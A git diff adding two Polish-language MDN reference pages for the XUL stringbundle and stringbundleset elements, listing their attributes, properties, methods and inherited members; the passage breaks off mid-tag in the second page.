diff --git a/files/pl/mozilla/tech/xul/stringbundle/index.html b/files/pl/mozilla/tech/xul/stringbundle/index.html
new file mode 100644
index 0000000000..8fae486ca7
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/stringbundle/index.html
@@ -0,0 +1,177 @@
+---
+title: stringbundle
+slug: Mozilla/Tech/XUL/stringbundle
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/stringbundle
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Element, który może być stosowany do wczytania zasobów zlokalizowanych z plików własności. Stringbundles powinien być umieszczony wewnątrz elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/stringbundleset" title="stringbundleset">stringbundleset</a></code>.
+</p><p>Plik własności jest listą par własności klucz-wartość (każda oddzielona linią). Klucz i wartość są oddzielone znakiem równości. Na przykład, następująca definicja dwóch własności: </p>
+<pre class="eval">message.displayError=An error occured trying to display this message
+message.nameAlreadyUsed=The name %s is already being used by another account.
+</pre>
+<p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Plik_w%c5%82asno%c5%9bci">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty </dt><dd> <a href="#a-src">src</a>
+</dd></dl>
+<dl><dt> Własności </dt><dd> <a href="#p-appLocale">appLocale</a>, <a href="#p-src">src</a>, <a href="#p-stringBundle">stringBundle</a>, <a href="#p-strings">strings</a>
+</dd></dl>
+<dl><dt> Metody </dt><dd> <a href="#m-getFormattedString">getFormattedString</a>, <a href="#m-getString">getString</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebny przykład)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><div id="a-src">
+
+<dl>
+ <dt>
+ <code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code></dt>
+ <dd>
+ Typ: <i>URL</i></dd>
+ <dd>
+ Adres URL zawartości do wyświetlenia w elemencie.</dd>
+</dl>
+
+<p> </p>
+</div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><div id="p-appLocale">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/appLocale">appLocale</a></span></code></dt>
+ <dd>
+ Typ: <i><a href="pl/NsILocale">nsILocale</a></i></dd>
+ <dd>
+ Zwraca obiekt XPCOM, który przechowuje informacje o lokalnych użytkownikach. To jest obiekt, który implementuje <a href="pl/NsILocale">nsILocale</a>.</dd>
+</dl>
+
+
+</div>
+<div id="p-src">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/src">src</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ URL</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code>.</dd>
+</dl></div>
+<div id="p-stringBundle">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/stringBundle">stringBundle</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIStringBundle">nsIStringBundle</a></i>
+ </dd>
+ <dd>
+ Zwraca łańcuch znaków obiekt paczki XPCOM, który implementuje <a href="pl/NsIStringBundle">nsIStringBundle</a>.</dd>
+</dl></div>
+<div id="p-strings">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/strings">strings</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsISimpleEnumerator">nsISimpleEnumerator</a></i>
+ </dd>
+ <dd>
+ Wyliczenie wszystkich ciągów w paczce ciągów. Zawiera obiekty <a href="pl/NsIPropertyElement">nsIPropertyElement</a>.</dd>
+</dl></div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p>
+</p><dl>
+ <dt>
+ <span id="m-getString"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getString">getString( key )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Zwraca łańcuch znaków z daną nazwą <var>key</var> z łańcucha znaków paczki (boundle).</dd>
+</dl>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p>TBD
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/stringbundleset/index.html b/files/pl/mozilla/tech/xul/stringbundleset/index.html
new file mode 100644
index 0000000000..85d9f5e245
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/stringbundleset/index.html
@@ -0,0 +1,94 @@
+---
+title: stringbundleset
+slug: Mozilla/Tech/XUL/stringbundleset
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/stringbundleset
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Kontener dla elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/stringbundle" title="stringbundle">stringbundle</a></code>.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebny przykład)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a 